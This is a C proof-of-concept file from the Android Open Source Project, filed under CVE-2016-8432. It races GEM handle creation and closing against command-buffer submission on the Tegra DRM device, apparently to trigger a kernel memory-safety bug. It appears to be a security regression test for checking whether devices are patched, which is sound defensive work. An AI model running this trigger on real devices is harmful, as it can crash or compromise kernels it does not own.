Home | History | Annotate | Download | only in CVE-2016-8432
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 #include <stdio.h>
     18 #include <stdlib.h>
     19 #include <pthread.h>
     20 #include <errno.h>
     21 #include <fcntl.h>
     22 #include <sched.h>
     23 #include <unistd.h>
     24 #include <sys/types.h>
     25 #include <sys/ioctl.h>
     26 
     27 #include "local_poc.h"
     28 
     29 #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
     30 #define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno))
     31 
     32 #define DEV "/dev/dri/renderD129"
     33 #define CMD_NUM		100
     34 
     35 int dev_fd;
     36 
     37 volatile struct drm_tegra_open_channel	open_c;
     38 volatile struct drm_tegra_submit		submit_c;
     39 volatile struct drm_tegra_gem_create	gem_create;
     40 volatile struct drm_gem_close			gem_close;
     41 
     42 volatile struct drm_tegra_cmdbuf		cmdbufs[CMD_NUM];
     43 struct drm_tegra_syncpt		syncpt;
     44 volatile struct drm_tegra_reloc		relocs[CMD_NUM];
     45 
     46 static int set_affinity(int num)
     47 {
     48 	int ret = 0;
     49 	cpu_set_t mask;
     50 	CPU_ZERO(&mask);
     51 	CPU_SET(num, &mask);
     52 	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
     53 	if(ret == -1){
     54 	}
     55 	return ret;
     56 }
     57 
     58 static int prepare()
     59 {
     60 	int i;
     61 
     62 	open_c.client = HOST1X_CLASS_VIC;
     63 
     64 	submit_c.num_syncpts = 1;
     65 	submit_c.syncpts = (__u64)&syncpt;
     66 
     67 	gem_close.handle = 1;
     68 
     69 	for(i = 0; i < CMD_NUM; i++){
     70 		cmdbufs[i].words = 0;
     71 		cmdbufs[i].offset = 0;
     72 		cmdbufs[i].handle = 0;
     73 		relocs[i].cmdbuf.handle = 0;
     74 		relocs[i].cmdbuf.offset = 0;
     75 		relocs[i].target.handle = 0;
     76 		relocs[i].target.offset = 0;
     77 	}
     78 
     79 	submit_c.num_cmdbufs = CMD_NUM;
     80 	submit_c.cmdbufs = (__u64)cmdbufs;
     81 
     82 	submit_c.num_relocs = CMD_NUM;
     83 	submit_c.relocs = (__u64)relocs;
     84 
     85 	gem_create.size = PAGE_SIZE;
     86 
     87 	return 0;
     88 }
     89 
     90 #define SUBMIT_THREAD_NUM 1
     91 pthread_t submit_thread_id[SUBMIT_THREAD_NUM] = { 0 };
     92 static void* submit_thread(void *no_use)
     93 {
     94 	set_affinity(1);
     95 	ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
     96 	return NULL;
     97 }
     98 
     99 int main()
    100 {
    101 	int ret;
    102 	int i;
    103 	__u64 try_time;
    104 
    105 	set_affinity(0);
    106 
    107 	dev_fd = open(DEV,O_RDONLY);
    108 	if(dev_fd == -1){
    109 		return 0;
    110 	}
    111 
    112 	prepare();
    113 
    114 	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
    115 	if(ret == -1){
    116 		goto out_dev;
    117 	}
    118 
    119 	submit_c.context = open_c.context;
    120 
    121 	try_time = 1;
    122 	while(1){
    123 		ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create);
    124 		if(ret == 0){
    125 			for(i = 0; i < CMD_NUM; i++){
    126 				cmdbufs[i].handle = gem_create.handle;
    127 				relocs[i].cmdbuf.handle = gem_create.handle;
    128 				relocs[i].target.handle = gem_create.handle;
    129 			}
    130 			for(i = 0; i < SUBMIT_THREAD_NUM; i++){
    131 				pthread_create(submit_thread_id + i, NULL, submit_thread, NULL);
    132 			}
    133 			usleep(150);
    134 			while(ioctl(dev_fd, DRM_IOCTL_GEM_CLOSE, &gem_close) == 0);
    135 		}
    136 		try_time++;
    137 	}
    138 
    139 	for(i = 0; i < SUBMIT_THREAD_NUM; i++){
    140 		pthread_join(submit_thread_id[i], NULL);
    141 	}
    142 
    143 out_dev:
    144 	close(dev_fd);
    145 	return 0;
    146 }
    147